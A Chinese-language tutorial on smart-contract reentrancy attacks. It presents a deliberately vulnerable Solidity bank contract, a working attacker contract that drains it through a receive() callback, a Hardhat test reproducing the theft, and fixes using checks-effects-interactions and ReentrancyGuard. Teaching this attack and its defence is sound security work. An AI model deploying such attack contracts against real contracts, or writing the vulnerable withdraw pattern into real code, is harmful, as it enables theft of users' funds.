10分钟智能合约:进阶实战-5.3 实战1:利用转账机制控制合约

52 阅读4分钟

实战1:利用转账机制控制合约 —— 重入攻击的攻防演练

本实战通过一个具体的“银行”合约,演示攻击者如何利用转账机制(ETH 发送)触发回调,在合约状态更新前重复提款,从而“控制”合约的资金流向。我们将从漏洞代码、攻击过程到防御修复,完整走一遍。


一、场景设定

我们有一个简单的银行合约:

  • 用户可存入 ETH,合约记录每个用户的余额。
  • 用户可提款,提款时合约向用户发送对应金额的 ETH。

问题是:提款函数先发送 ETH,后更新余额 —— 这是重入漏洞的经典温床。


二、漏洞合约(VulnerableBank.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    // 存款
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // 提款 —— 有漏洞!
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Insufficient balance");

        // ❌ 危险:先转账,后更新状态
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] -= _amount;
    }

    // 查询合约余额
    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

漏洞分析withdraw 函数在检查余额后,立即向 msg.sender 发送 ETH,此时 balances[msg.sender] 尚未被扣减。如果 msg.sender 是一个合约,它的 receive() 函数可以在收到 ETH 时再次调用 withdraw,从而在状态更新前反复提取资金。


三、攻击者合约(Attack.sol)

攻击者部署一个恶意合约,利用 receive() 回调实现重入。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableBank.sol";

contract Attack {
    VulnerableBank public bank;
    address public owner;

    constructor(address _bankAddress) {
        bank = VulnerableBank(_bankAddress);
        owner = msg.sender;
    }

    // 攻击入口:先存入 1 ETH,然后提款触发重入
    function attack() external payable {
        require(msg.value == 1 ether, "Deposit 1 ETH");
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    // 收到 ETH 时自动调用 —— 重入点
    receive() external payable {
        // 只要银行合约还有足够的 ETH,就继续提款
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    // 提取攻击所得
    function withdrawProfit() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

攻击流程

  1. 攻击者部署 Attack 合约,传入 VulnerableBank 的地址。
  2. 攻击者调用 attack 并附带 1 ETH。
  3. attack 先向银行存入 1 ETH,此时攻击者的余额为 1。
  4. 然后调用 bank.withdraw(1 ether)
  5. 银行检查余额通过,向攻击者合约发送 1 ETH。
  6. 攻击者合约收到 ETH,触发 receive()
  7. receive() 中再次调用 bank.withdraw(1 ether)
  8. 由于银行的余额尚未更新(攻击者余额仍为 1),检查再次通过,又发送 1 ETH。
  9. 重复步骤 6~8,直到银行合约余额不足 1 ETH。
  10. 攻击者调用 withdrawProfit 将所有 ETH 转回自己的 EOA 账户。

结果:攻击者用 1 ETH 撬走了银行合约中的所有 ETH。


四、实战操作(Hardhat + 测试脚本)

以下是一个测试脚本,用于复现攻击过程(使用 Hardhat):

// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack", function () {
  let bank, attack;
  let owner, attacker;

  beforeEach(async function () {
    [owner, attacker] = await ethers.getSigners();

    // 部署漏洞银行
    const Bank = await ethers.getContractFactory("VulnerableBank");
    bank = await Bank.deploy();
    await bank.deployed();

    // 先存入 10 ETH 作为银行储备(模拟其他用户资金)
    await owner.sendTransaction({
      to: bank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("应该通过重入攻击盗走所有资金", async function () {
    // 部署攻击合约
    const Attack = await ethers.getContractFactory("Attack");
    attack = await Attack.connect(attacker).deploy(bank.address);
    await attack.deployed();

    // 攻击者调用 attack 并发送 1 ETH
    await attack.connect(attacker).attack({
      value: ethers.utils.parseEther("1"),
    });

    // 检查银行余额
    const bankBalance = await bank.getContractBalance();
    console.log("银行剩余 ETH:", ethers.utils.formatEther(bankBalance));

    // 攻击者提取利润
    await attack.connect(attacker).withdrawProfit();
    const profit = await ethers.provider.getBalance(attacker.address);
    // 应接近 11 ETH(10 + 1 存款 - 攻击消耗的 gas)
    expect(profit).to.be.gt(ethers.utils.parseEther("10"));
  });
});

五、防御修复

方案一:遵循 检查-生效-交互 模式(CEI)

将状态更新放在转账之前:

function withdraw(uint256 _amount) external {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    // ✅ 先扣减余额
    balances[msg.sender] -= _amount;
    // ✅ 再发送 ETH
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

方案二:使用重入锁(推荐作为第二道防线)

引入 OpenZeppelin 的 ReentrancyGuard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw(uint256 _amount) external nonReentrant {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrant 修饰符确保在同一笔交易中,该函数不能被再次进入(无论是通过自身还是其他函数)。


六、扩展:其他“转账控制”形式

除了重入,利用转账机制控制合约还有其他变种:

  • 预先向合约转账改变判断条件:某些合约用 address(this).balance 作为逻辑依据(如分红比例),攻击者可先 selfdestruct 强制注入 ETH,操纵计算结果。
  • 代币转账钩子:ERC-777 或 ERC-223 的 tokensReceived 回调也可充当重入入口,攻击者可在转账过程中再次调用协议函数。
  • payable 函数发送 ETH 改变状态:如果 fallbackreceive 更新了关键状态(如 owner),攻击者可通过转账触发。

七、总结

  • 利用转账机制控制合约的本质:通过外部调用(ETH 或代币转账)触发合约中的回调函数,在状态更新完成之前插入额外操作。
  • 最经典的武器call + receive()/fallback()
  • 防护黄金法则
    1. 始终 先更新状态,后外部调用
    2. 对关键函数使用 重入锁
    3. 不使用 address(this).balance 作为关键业务判断依据。